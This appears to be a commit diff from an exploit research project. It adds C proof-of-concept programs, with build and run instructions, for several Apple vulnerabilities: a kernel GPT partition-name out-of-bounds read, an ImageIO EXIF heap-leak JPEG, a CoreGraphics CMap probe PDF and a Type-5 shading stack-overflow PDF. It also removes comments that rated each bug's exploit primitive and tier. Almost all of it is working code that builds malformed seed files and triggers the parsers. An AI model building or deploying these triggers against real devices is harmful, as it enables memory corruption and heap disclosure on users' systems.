return out;
}
// ── trigger: clamped describe walk (mirror of GPTPayload.describe) ──
static void describe(const buf *image) {
if (image->n < 1024) { printf("image too short\n"); return; }
const uint8_t *d = image->d;
if (memcmp(d + 512, "EFI PART", 8) != 0) { printf("no GPT signature\n"); return; }
// attacker-controlled header fields, clamped to the image we already hold
uint64_t entry_lba = 0, u;
for (int k = 0; k < 8; k++) { u = d[512 + 72 + k]; entry_lba |= u << (8 * k); }
uint32_t entry_count = d[512 + 80] | (d[512 + 81] << 8) | (d[512 + 82] << 16) | ((uint32_t)d[512 + 83] << 24);
uint32_t entry_size = d[512 + 84] | (d[512 + 85] << 8) | (d[512 + 86] << 16) | ((uint32_t)d[512 + 87] << 24);
uint64_t safe_lba = entry_lba > 0 && entry_lba < (uint64_t)(image->n / 512) ? entry_lba : 0;
uint32_t safe_count = entry_count < 4096 ? entry_count : 4096;
uint32_t safe_size = entry_size > 0 && entry_size <= 512 ? entry_size : 128;
printf("GPT header: entry LBA %llu · %u entries · %u B each\n",
(unsigned long long)entry_lba, entry_count, entry_size);
size_t base = (size_t)safe_lba * 512;
for (uint32_t i = 0; i < safe_count; i++) {
size_t off = base + (size_t)i * safe_size;
if (off + 128 > image->n) break;
// name field at +56, 36 UTF-16 code units; 27.0 scans 0x48 B, 27.2 stops at 0x24 B
char name[37] = {0};
for (int k = 0; k < 36; k++) {
uint16_t unit = (uint16_t)(d[off + 56 + k * 2] | (d[off + 56 + k * 2 + 1] << 8));
if (unit == 0) break;
name[k] = (char)(unit < 0x80 ? unit : '?');
}
if (name[0]) printf(" partition %u: %s\n", i, name);
}
}
int main(int argc, char **argv) {
int entry_count = argc > 1 ? atoi(argv[1]) : 4;
buf image = gpt_oversized_name(entry_count);
FILE *f = fopen("gpt_overlong_name.img", "wb");
if (f) { fwrite(image.d, 1, image.n, f); fclose(f); }
printf("CVE-2026-112554 · %zu B · %d entries · name field 36 units / 72 B\n",
image.n, entry_count);
describe(&image);
printf("27.0 scans the name run to 0x48 = 72 B; 27.2 tightens to 0x24 = 36 B\n");
printf("seed: gpt_overlong_name.img\n");
bfree(&image);
return 0;
}
+8 -21
View File
@@ -1,24 +1,11 @@
// kext.gpt · IOStorageFamily · CVE-2026-112554 // kext.gpt · IOStorageFamily · CVE-2026-112554
// 原语: OOB 读 · 内核 · tier 2 // GPT partition name scan 72-byte kernel heap out-of-bounds read
// Primitive: OOB read · kernel · tier 2
//
// [zh] GPT 分区名扫描 72 字节内核堆越界读
// 分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节,而 GPT 条目内的名字域仅 36 个 UTF-16 单元;27.0 的扫描因此越过条目尾,读入相邻内核堆。
//
// [en] GPT partition name scan 72-byte kernel heap out-of-bounds read
// The partition name scan's bound constant tightens from 0x48 to 0x24. 0x48 is 72 bytes, while the
// name field inside a GPT entry is only 36 UTF-16 units, so the 27.0 scan runs past the entry tail
// and into adjacent kernel heap.
// ── 判别 / oracle ──
// 应用侧无法 attach 磁盘镜像,故本模块做两件事:构造会使 27.0 越界的镜像,并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧,不在用户态。
import Foundation import Foundation
// 本地化直通 shim — app 内该函数经 RuntimeText 映射输出双语。 // identity localization shim — passes the string through unchanged.
// identity localization shim — the app routes this through RuntimeText.
func tl(_ s: String) -> String { s } func tl(_ s: String) -> String { s }
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -39,19 +26,19 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (GPTPayload) ── // ── seed construction (from Cinder27 Sources: GPTPayload) ──
enum GPTPayload { enum GPTPayload {
static func describe(_ image: Data) -> [String] { static func describe(_ image: Data) -> [String] {
var lines: [String] = [] var lines: [String] = []
guard image.count >= 1024 else { return [tl("镜像过短")] } guard image.count >= 1024 else { return [tl("image too short")] }
let sig = [UInt8](image[512..<520]) let sig = [UInt8](image[512..<520])
guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else { guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else {
return [tl("无 GPT 签名")] return [tl("no GPT signature")]
} }
let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) } let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) }
let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) } let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) }
let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) } let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) }
lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B")) lines.append(tl("GPT header: entry LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" entries · ") + "\(entrySize)" + tl(" B"))
let base = Int(entryLBA) * 512 let base = Int(entryLBA) * 512
for i in 0..<Int(entryCount) { for i in 0..<Int(entryCount) {
let off = base + i * Int(entrySize) let off = base + i * Int(entrySize)
@@ -65,7 +52,7 @@ static func describe(_ image: Data) -> [String] {
units.append(unit) units.append(unit)
} }
let name = String(decoding: units, as: UTF16.self) let name = String(decoding: units, as: UTF16.self)
if !name.isEmpty { lines.append(tl(" 分区 ") + "\(i)" + tl(": ") + "\(name)") } if !name.isEmpty { lines.append(tl(" partition ") + "\(i)" + tl(": ") + "\(name)") }
} }
return lines return lines
} }
+93
View File
@@ -0,0 +1,93 @@
// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571
// EXIF UserComment short read leaves stale heap bytes
// C twin of the Swift POC: builds the oob-offset UserComment JPEG and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112571 CVE-2026-112571.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112571 [count] [value-offset]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── seed construction (from Cinder27 Sources: JPEGPayload.exifUserComment) ──
static buf jpeg_user_comment(uint32_t count, uint32_t value_offset) {
buf tiff = {0};
bcat(&tiff, "MM\x00\x2a", 4);
be32(&tiff, 8); // IFD0 at 8
be16(&tiff, 1); // 1 entry
be16(&tiff, 0x9286); // UserComment
be16(&tiff, 7); // UNDEFINED
be32(&tiff, count); // declared byte count
be32(&tiff, value_offset); // value offset far past the block
be32(&tiff, 0); // next IFD
buf out = {0};
bcat(&out, "\xff\xd8", 2); // SOI
uint32_t app1_len = 6 + (uint32_t)tiff.n + 2;
bcat(&out, "\xff\xe1", 2);
bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff);
bcat(&out, "Exif\x00\x00", 6);
bcat(&out, tiff.d, tiff.n);
bcat(&out, "\xff\xd9", 2); // EOI
bfree(&tiff);
return out;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
// the metadata walk is where ReadUserComment reads count bytes at the oob offset
CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames,
props ? "present" : "absent");
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
if (props) CFRelease(props);
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x400;
uint32_t value_offset = argc > 2 ? (uint32_t)strtoul(argv[2], NULL, 0) : 0x4000;
buf jpeg = jpeg_user_comment(count, value_offset);
FILE *f = fopen("usercomment_oob.jpg", "wb");
if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&jpeg, &detail);
printf("CVE-2026-112571 · UserComment count=0x%x offset=0x%x · %s\n", count, value_offset, detail ? detail : "?");
printf("seed: usercomment_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
bfree(&jpeg);
return rc == 0 ? 0 : 1;
}
+3 -17
View File
@@ -1,22 +1,8 @@
// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571 // iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571
// 原语: 信息泄露 · 进程内 · tier 2 // EXIF UserComment short read → metadata disclosure
// Primitive: info leak · in-process · tier 2
//
// [zh] EXIF UserComment 短读 → 元数据泄露
// getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读,malloc 缓冲尾部保持未初始化,随后该缓冲作为 UserComment 元数据返回给调用方 ——
// 构成对进程堆的直接读取。
//
// [en] EXIF UserComment short read → metadata disclosure
// The return value of getBytesAtOffset is never checked. When an entry's value offset falls outside
// the marker the read comes up short, the tail of the malloc'd buffer stays uninitialised, and that
// buffer is then handed back to the caller as the UserComment metadata value — a direct read of the
// process heap.
// ── 判别 / oracle ──
// count 声明 0x400,值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── // ── seed construction (from Cinder27 Sources: JPEGPayload) ──
enum JPEGPayload { enum JPEGPayload {
static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data { static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data {
var tiff = Data() var tiff = Data()
+161
View File
@@ -0,0 +1,161 @@
// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610
// CMap /UseCMap recursion out-of-bounds write (negative-result probe)
// C twin of the Swift POC: builds the embedded-CMap probe PDF and renders it.
// Build: clang -O2 -o cve-2026-112610 CVE-2026-112610.c -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112610 [codespace-length]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── PDF object builder ──
#define MAXOBJ 16
typedef struct {
int n[MAXOBJ];
char dict[MAXOBJ][1024];
buf stream[MAXOBJ];
int has_stream[MAXOBJ];
int count;
} pdfbuilder;
static void pdf_add(pdfbuilder *p, int n, const char *dict, const char *stream) {
if (p->count >= MAXOBJ || n >= MAXOBJ) return;
p->n[p->count] = n;
snprintf(p->dict[p->count], sizeof(p->dict[p->count]), "%s", dict);
if (stream) { bcat(&p->stream[p->count], stream, strlen(stream)); p->has_stream[p->count] = 1; }
p->count++;
}
static buf pdf_data(pdfbuilder *p) {
buf out = {0};
bcat(&out, "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n", 14);
int offsets[MAXOBJ] = {0}, maxobj = 0;
for (int i = 0; i < p->count; i++) if (p->n[i] > maxobj) maxobj = p->n[i];
for (int target = 1; target <= maxobj; target++) {
for (int i = 0; i < p->count; i++) {
if (p->n[i] != target) continue;
offsets[target] = (int)out.n;
char line[64];
snprintf(line, sizeof(line), "%d 0 obj\n", target);
bcat(&out, line, strlen(line));
bcat(&out, p->dict[i], strlen(p->dict[i]));
if (p->has_stream[i]) {
bcat(&out, "\nstream\n", 8);
bcat(&out, p->stream[i].d, p->stream[i].n);
bcat(&out, "\nendstream", 10);
}
bcat(&out, "\nendobj\n", 8);
}
}
size_t xrefpos = out.n;
char line[128];
snprintf(line, sizeof(line), "xref\n0 %d\n0000000000 65535 f \n", maxobj + 1);
bcat(&out, line, strlen(line));
for (int t = 1; t <= maxobj; t++) {
snprintf(line, sizeof(line), "%010d 00000 n \n", offsets[t]);
bcat(&out, line, strlen(line));
}
snprintf(line, sizeof(line), "trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%zu\n%%%%EOF\n",
maxobj + 1, xrefpos);
bcat(&out, line, strlen(line));
return out;
}
// ── seed construction (from Cinder27 Sources: PDFPayload.cmapProbe) ──
static buf pdf_cmap_probe(int codespace_length) {
buf cmap = {0};
if (codespace_length < 2) codespace_length = 2;
bcat(&cmap, "%!PS-Adobe-3.0 Resource-CMap\n", 29);
bcat(&cmap, "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n", 59);
bcat(&cmap, "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n", 51);
bcat(&cmap, "1 begincodespacerange\n", 23);
bput(&cmap, '<'); bput(&cmap, '0'); bput(&cmap, '0'); bput(&cmap, '>');
bput(&cmap, ' ');
bput(&cmap, '<');
for (int i = 0; i < codespace_length; i++) bput(&cmap, 'F');
bput(&cmap, '>');
bput(&cmap, '\n');
bcat(&cmap, "endcodespacerange\n", 18);
bcat(&cmap, "1 begincidrange\n<00> <FF> 0\nendcidrange\n", 39);
bcat(&cmap, "endcmap CMapName currentdict /CMap defineresource pop end end\n", 61);
char dict6[256], lenbuf[32];
snprintf(lenbuf, sizeof(lenbuf), "%zu", cmap.n);
snprintf(dict6, sizeof(dict6),
"<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length %s >>",
lenbuf);
pdfbuilder p = {0};
pdf_add(&p, 1, "<< /Type /Catalog /Pages 2 0 R >>", NULL);
pdf_add(&p, 2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>", NULL);
pdf_add(&p, 3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>", NULL);
pdf_add(&p, 4, "<< /Length 30 >>", "BT /F1 12 Tf 10 100 Td <0041> Tj ET");
pdf_add(&p, 5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>", NULL);
pdf_add(&p, 6, dict6, (const char *)cmap.d);
pdf_add(&p, 7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>", NULL);
buf out = pdf_data(&p);
bfree(&cmap);
return out;
}
// ── trigger: render the PDF through CoreGraphics ──
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int render_pdf(const buf *pdf, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, pdf->d, (CFIndex)pdf->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
CFRelease(cf);
if (!prov) { *detail = "CGDataProviderCreateWithCFData failed"; return -1; }
CGPDFDocumentRef doc = CGPDFDocumentCreateWithProvider(prov);
CGDataProviderRelease(prov);
if (!doc) { *detail = "CGPDFDocumentCreateWithProvider failed (file refused)"; return -1; }
CGPDFPageRef page = CGPDFDocumentGetPage(doc, 1);
if (!page) { *detail = "no page 1"; CGPDFDocumentRelease(doc); return -1; }
const int pixels = 256, bpr = pixels * 4;
uint8_t *buffer = calloc((size_t)bpr * pixels, 1);
CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr,
CGColorSpaceCreateDeviceRGB(),
kCGImageAlphaPremultipliedLast);
if (!ctx) { free(buffer); *detail = "CGBitmapContextCreate failed"; CGPDFDocumentRelease(doc); return -1; }
CGContextSetRGBFillColor(ctx, 1, 1, 1, 1);
CGContextFillRect(ctx, CGRectMake(0, 0, pixels, pixels));
// === trigger ===
CGContextDrawPDFPage(ctx, page);
static char result[128];
int mid = bpr * (pixels / 2) + (pixels / 2) * 4;
snprintf(result, sizeof(result), "render complete; centre pixel RGBA = %u,%u,%u,%u",
buffer[mid], buffer[mid + 1], buffer[mid + 2], buffer[mid + 3]);
*detail = result;
CGContextRelease(ctx);
free(buffer);
CGPDFDocumentRelease(doc);
return 0;
}
int main(int argc, char **argv) {
int codespace_length = argc > 1 ? atoi(argv[1]) : 128;
buf pdf = pdf_cmap_probe(codespace_length);
FILE *f = fopen("cmap_probe.pdf", "wb");
if (f) { fwrite(pdf.d, 1, pdf.n, f); fclose(f); }
const char *detail = NULL;
int rc = render_pdf(&pdf, &detail);
printf("CVE-2026-112610 · codespace length %d · %s\n", codespace_length, detail ? detail : "?");
printf("seed: cmap_probe.pdf (%zu B) · exit code %d\n", pdf.n, rc);
bfree(&pdf);
return rc == 0 ? 0 : 1;
}
+3 -16
View File
@@ -1,21 +1,8 @@
// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610 // cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610
// 原语: OOB 写 · 进程内 · tier 3 // CMap /UseCMap recursion out-of-bounds write (negative-result probe)
// Primitive: OOB write · in-process · tier 3
//
// [zh] CMap /UseCMap 递归越界写(负结果探针)
// _cmap_convert 在递归时把外层的 codespace 长度(最大 255)传入仅容纳单个结果的输出槽(2 字节 code / 8 字节 len)。27.2 增加 min(L,4)
// 钳制并重排输出槽布局。
//
// [en] CMap /UseCMap recursion out-of-bounds write (negative-result probe)
// _cmap_convert passes the outer codespace length (up to 255) into an output slot sized for a single
// result (2-byte code / 8-byte len) when it recurses. iOS 27.2 adds a min(L,4) clamp and re-lays
// out the output slots.
// ── 判别 / oracle ──
// 源分析中,内嵌 CMap 这一载体被三条相互独立的可达性阻断否定。本模块的价值在于将负结果同样留档:若该构建上出现崩溃,说明载体已被重新打通,结论需随之修正。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -36,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ── // ── seed construction (from Cinder27 Sources: PDFPayload) ──
enum PDFPayload { enum PDFPayload {
struct PDFBuilder { struct PDFBuilder {
private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:] private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]
+186
View File
@@ -0,0 +1,186 @@
// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611
// Type-5 shading stack overflow (value-controlled OOB write)
// C twin of the Swift POC: builds the same seed PDF and renders it through CGPDFDocument.
// Build: clang -O2 -o cve-2026-112611 CVE-2026-112611.c -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112611 [range-dim]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── bit writer (MSB-first) ──
typedef struct { buf out; uint8_t acc; int nbits; } bitwriter;
static void bw_put(bitwriter *w, uint32_t value, int width) {
if (width <= 0) return;
for (int i = width - 1; i >= 0; i--) {
w->acc = (uint8_t)((w->acc << 1) | ((value >> i) & 1));
if (++w->nbits == 8) { bput(&w->out, w->acc); w->acc = 0; w->nbits = 0; }
}
}
static void bw_flush(bitwriter *w) {
if (w->nbits > 0) { bput(&w->out, (uint8_t)(w->acc << (8 - w->nbits))); w->acc = 0; w->nbits = 0; }
}
// ── PDF object builder ──
#define MAXOBJ 16
typedef struct {
int n[MAXOBJ];
char dict[MAXOBJ][512];
buf stream[MAXOBJ];
int has_stream[MAXOBJ];
int count;
} pdfbuilder;
static void pdf_add(pdfbuilder *p, int n, const char *dict, const uint8_t *stream, size_t streamlen) {
if (p->count >= MAXOBJ || n >= MAXOBJ) return;
p->n[p->count] = n;
snprintf(p->dict[p->count], sizeof(p->dict[p->count]), "%s", dict);
if (stream) { bcat(&p->stream[p->count], stream, streamlen); p->has_stream[p->count] = 1; }
p->count++;
}
static buf pdf_data(pdfbuilder *p) {
buf out = {0};
bcat(&out, "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n", 14);
int offsets[MAXOBJ] = {0};
int maxobj = 0;
for (int i = 0; i < p->count; i++) {
if (p->n[i] > maxobj) maxobj = p->n[i];
}
// emit in ascending object order
for (int target = 1; target <= maxobj; target++) {
for (int i = 0; i < p->count; i++) {
if (p->n[i] != target) continue;
offsets[target] = (int)out.n;
char line[64];
snprintf(line, sizeof(line), "%d 0 obj\n", target);
bcat(&out, line, strlen(line));
bcat(&out, p->dict[i], strlen(p->dict[i]));
if (p->has_stream[i]) {
bcat(&out, "\nstream\n", 8);
bcat(&out, p->stream[i].d, p->stream[i].n);
bcat(&out, "\nendstream", 10);
}
bcat(&out, "\nendobj\n", 8);
}
}
size_t xrefpos = out.n;
char line[128];
snprintf(line, sizeof(line), "xref\n0 %d\n0000000000 65535 f \n", maxobj + 1);
bcat(&out, line, strlen(line));
for (int t = 1; t <= (maxobj > 0 ? maxobj : 1); t++) {
snprintf(line, sizeof(line), "%010d 00000 n \n", offsets[t]);
bcat(&out, line, strlen(line));
}
snprintf(line, sizeof(line), "trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%zu\n%%%%EOF\n",
maxobj + 1, xrefpos);
bcat(&out, line, strlen(line));
return out;
}
// ── seed construction (from Cinder27 Sources: PDFPayload.shading) ──
static buf pdf_shading(int rangedim, double value, int vertices_per_row, int rows) {
const int bp_coord = 32, bp_comp = 8;
bitwriter bw = {0};
for (int r = 0; r < rows; r++) {
for (int c = 0; c < vertices_per_row; c++) {
bw_put(&bw, 0x10000000u + (uint32_t)c * 0x08000000u, bp_coord);
bw_put(&bw, 0x10000000u + (uint32_t)r * 0x08000000u, bp_coord);
bw_put(&bw, 0, bp_comp);
}
}
bw_flush(&bw);
char cval[32];
snprintf(cval, sizeof(cval), "%.17g", value);
char list[4096] = "", rangelist[4096] = "";
int nd = rangedim > 0 ? rangedim : 1;
for (int i = 0; i < nd; i++) {
if (i) { strcat(list, " "); strcat(rangelist, " "); }
strcat(list, cval);
strcat(rangelist, "0 1");
}
char dict5[512], dict6[2048];
snprintf(dict5, sizeof(dict5),
"<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate %d /BitsPerComponent %d "
"/VerticesPerRow %d /Decode [0 200 0 200 0 1] /Function 6 0 R /Length %zu >>",
bp_coord, bp_comp, vertices_per_row, bw.out.n);
snprintf(dict6, sizeof(dict6),
"<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [%s] /C1 [%s] /Range [%s] >>",
list, list, rangelist);
pdfbuilder p = {0};
pdf_add(&p, 1, "<< /Type /Catalog /Pages 2 0 R >>", NULL, 0);
pdf_add(&p, 2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>", NULL, 0);
pdf_add(&p, 3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>", NULL, 0);
pdf_add(&p, 4, "<< /Length 8 >>", (const uint8_t *)" /Sh1 sh", 8);
pdf_add(&p, 5, dict5, bw.out.d, bw.out.n);
pdf_add(&p, 6, dict6, NULL, 0);
bfree(&bw.out);
return pdf_data(&p);
}
// ── trigger: render the PDF through CoreGraphics ──
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int render_pdf(const buf *pdf, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, pdf->d, (CFIndex)pdf->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
CFRelease(cf);
if (!prov) { *detail = "CGDataProviderCreateWithCFData failed"; return -1; }
CGPDFDocumentRef doc = CGPDFDocumentCreateWithProvider(prov);
CGDataProviderRelease(prov);
if (!doc) { *detail = "CGPDFDocumentCreateWithProvider failed (file refused)"; return -1; }
CGPDFPageRef page = CGPDFDocumentGetPage(doc, 1);
if (!page) { *detail = "no page 1"; CGPDFDocumentRelease(doc); return -1; }
const int pixels = 256, bpr = pixels * 4;
uint8_t *buffer = calloc((size_t)bpr * pixels, 1);
CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr,
CGColorSpaceCreateDeviceRGB(),
kCGImageAlphaPremultipliedLast);
if (!ctx) { free(buffer); *detail = "CGBitmapContextCreate failed"; CGPDFDocumentRelease(doc); return -1; }
CGContextSetRGBFillColor(ctx, 1, 1, 1, 1);
CGContextFillRect(ctx, CGRectMake(0, 0, pixels, pixels));
// === trigger ===
CGContextDrawPDFPage(ctx, page);
static char result[128];
int mid = bpr * (pixels / 2) + (pixels / 2) * 4;
snprintf(result, sizeof(result), "render complete; centre pixel RGBA = %u,%u,%u,%u",
buffer[mid], buffer[mid + 1], buffer[mid + 2], buffer[mid + 3]);
*detail = result;
CGContextRelease(ctx);
free(buffer);
CGPDFDocumentRelease(doc);
return 0;
}
int main(int argc, char **argv) {
int rangedim = argc > 1 ? atoi(argv[1]) : 136;
buf pdf = pdf_shading(rangedim, 1.0, 2, 2);
char name[64];
snprintf(name, sizeof(name), "crash_shading_r%d.pdf", rangedim);
FILE *f = fopen(name, "wb");
if (f) { fwrite(pdf.d, 1, pdf.n, f); fclose(f); }
const char *detail = NULL;
int rc = render_pdf(&pdf, &detail);
printf("CVE-2026-112611 · R=%d vs nc=1 · %s\n", rangedim, detail ? detail : "?");
printf("seed: %s (%zu B) · exit code %d\n", name, pdf.n, rc);
bfree(&pdf);
return rc == 0 ? 0 : 1;
}
+2 -39
View File
@@ -1,30 +1,7 @@
// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611 // cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] Type-5 阴影栈溢出(值可控 OOB 写)
